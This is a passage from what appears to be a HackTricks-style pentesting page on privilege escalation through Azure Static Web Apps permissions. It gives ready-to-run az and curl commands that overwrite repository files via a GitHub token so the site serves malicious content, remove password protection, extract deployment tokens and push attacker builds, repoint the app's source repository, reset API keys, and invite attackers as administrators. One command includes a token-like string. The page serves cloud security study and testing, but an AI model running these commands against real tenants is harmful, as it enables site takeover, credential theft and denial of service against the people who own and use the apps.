https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
|
||||
### Overwrite file - Overwrite routes, HTML, JS...
|
||||
|
||||
It's possible to **overwrite a file inside the Github repo** containing the app through Azure having the **Github token** sending a request such as the following which will indicate the path of the file to overwrite, the content of the file and the commit message.
|
||||
|
||||
This can be abused by attackers to basically **change the content of the web app** to serve malicious content (steal credentials, mnemonic keys...) or just to **re-route certain paths** to their own servers by overwriting the `staticwebapp.config.json` file.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that if an attacker manages to compromise the Github repo in any way, they can also overwrite the file directly from Github.
|
||||
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commit": {
|
||||
"message": "Update static web app route configuration",
|
||||
"branchName": "main",
|
||||
"committer": {
|
||||
"name": "Azure App Service",
|
||||
"email": "donotreply@microsoft.com"
|
||||
},
|
||||
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
|
||||
"filePath": "staticwebapp.config.json",
|
||||
"message": "Update static web app route configuration",
|
||||
"repoName": "carlospolop/my-first-static-web-app",
|
||||
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
|
||||
},
|
||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||
}'
|
||||
```
|
||||
|
||||
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
With this permission, it's possible to **modify the password** protecting a static web app or even unprotect every environment by sending a request such as the following:
|
||||
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"password": "SuperPassword123.",
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "AllEnvironments"
|
||||
}
|
||||
}'
|
||||
|
||||
# Remove the need of a password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "SpecifiedEnvironments",
|
||||
"secretState": "None"
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
This permission allows to get the **API key deployment token** for the static app:
|
||||
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
|
||||
Then, in order to **update an app using the token** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and paarements could change in the future.
|
||||
|
||||
1. Download the repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (or any other repo you want to deploy) and run `cd react-basic`.
|
||||
2. Change the code you want to deploy
|
||||
3. Deploy it running (Remember to change the `<api-token>`):
|
||||
|
||||
```bash
|
||||
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
|
||||
>[!WARNING]
|
||||
> Even if you have the token you won't be able to deploy the app if the **Deployment Authorization Policy** is set to **Github**. For using the token you will need the permission `Microsoft.Web/staticSites/write` to change the deployment method to use th APi token.
|
||||
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
With this permission it's possible to **change the source of the static web app to a different Github repository**, however, it won't be automatically provisioned as this must be done from a Github Action.
|
||||
|
||||
However, if the **Deployment Authotization Policy** is set to **Github**, it's possible to **update the app from the new source repository!**.
|
||||
|
||||
In case the **Deployment Authorization Policy** is not set to Github, you can change it with the same permission `Microsoft.Web/staticSites/write`.
|
||||
|
||||
```bash
|
||||
# Change the source to a different Github repository
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
|
||||
# Update the deployment method to Github
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allowConfigFileUpdates": true,
|
||||
"stagingEnvironmentPolicy": "Enabled",
|
||||
"buildProperties": {
|
||||
"appLocation": "/",
|
||||
"apiLocation": "",
|
||||
"appArtifactLocation": "build"
|
||||
},
|
||||
"deploymentAuthPolicy": "GitHub",
|
||||
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
Example Github Action to deploy the app:
|
||||
|
||||
```yaml
|
||||
name: Azure Static Web Apps CI/CD
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
pull_request:
|
||||
types: [opened, synchronize, reopened, closed]
|
||||
branches:
|
||||
- main
|
||||
|
||||
jobs:
|
||||
build_and_deploy_job:
|
||||
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
|
||||
runs-on: ubuntu-latest
|
||||
name: Build and Deploy Job
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
with:
|
||||
submodules: true
|
||||
lfs: false
|
||||
- name: Install OIDC Client from Core Package
|
||||
run: npm install @actions/core@1.6.0 @actions/http-client
|
||||
- name: Get Id Token
|
||||
uses: actions/github-script@v6
|
||||
id: idtoken
|
||||
with:
|
||||
script: |
|
||||
const coredemo = require('@actions/core')
|
||||
return await coredemo.getIDToken()
|
||||
result-encoding: string
|
||||
- name: Build And Deploy
|
||||
id: builddeploy
|
||||
uses: Azure/static-web-apps-deploy@v1
|
||||
with:
|
||||
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
|
||||
action: "upload"
|
||||
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
|
||||
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
|
||||
app_location: "/" # App source code path
|
||||
api_location: "" # Api source code path - optional
|
||||
output_location: "build" # Built app content directory - optional
|
||||
github_id_token: ${{ steps.idtoken.outputs.result }}
|
||||
###### End of Repository/Build Configurations ######
|
||||
|
||||
close_pull_request_job:
|
||||
if: github.event_name == 'pull_request' && github.event.action == 'closed'
|
||||
runs-on: ubuntu-latest
|
||||
name: Close Pull Request Job
|
||||
steps:
|
||||
- name: Close Pull Request
|
||||
id: closepullrequest
|
||||
uses: Azure/static-web-apps-deploy@v1
|
||||
with:
|
||||
action: "close"
|
||||
```
|
||||
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
With this permision it's possible to **reset the API key of the static web app** potentially DoSing the workflows that automatically deploy the app.
|
||||
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/staticSites/createUserInvitation/action
|
||||
|
||||
This permission allows to **create an invitation to a user** to access protected paths inside a static web app ith a specific given role.
|
||||
|
||||
The login is located in a path such as `/.auth/login/github` for github or `/.auth/login/aad` for Entra ID and a user can be invited with the following command:
|
||||
|
||||
```bash
|
||||
az staticwebapp users invite \
|
||||
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
|
||||
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
|
||||
--invitation-expiration-in-hours 168 # 7 days is max \
|
||||
--name my-first-static-web-app # Name of the app\
|
||||
--roles "contributor,administrator" # Comma sepparated list of roles\
|
||||
--user-details username # Github username in this case\
|
||||
--resource-group Resource_Group_1 # Resource group of the app
|
||||
```
|
||||
|
||||
### Pull Requests
|
||||
|
||||
By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. This could be abused by an attacker with write access over the repo but without being able to bypass branch protections of the production branch (usually `main`) to **deploy a malicious version of the app** in the statagging URL.
|
||||
|
||||
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
|
||||
> [!TIP]
|
||||
> Note that by default external PRs won't run workflows unless they have merged at least 1 PR into the repository. An attacker could send a valid PR to the repo and **then send a malicious PR** to the repo to deploy the malicious app in the stagging environment. HOWEVER, there is an unexpected protection, the default Github Action to deploy into the static web app need access to the secret containing the deployment token (like `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) eve if the deployment is done with the IDToken. This means that because an external PR won't have access to this secret and an external PR cannot change the Workflow to place here an arbitrary token without a PR getting accepted, **this attack won't really work**.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user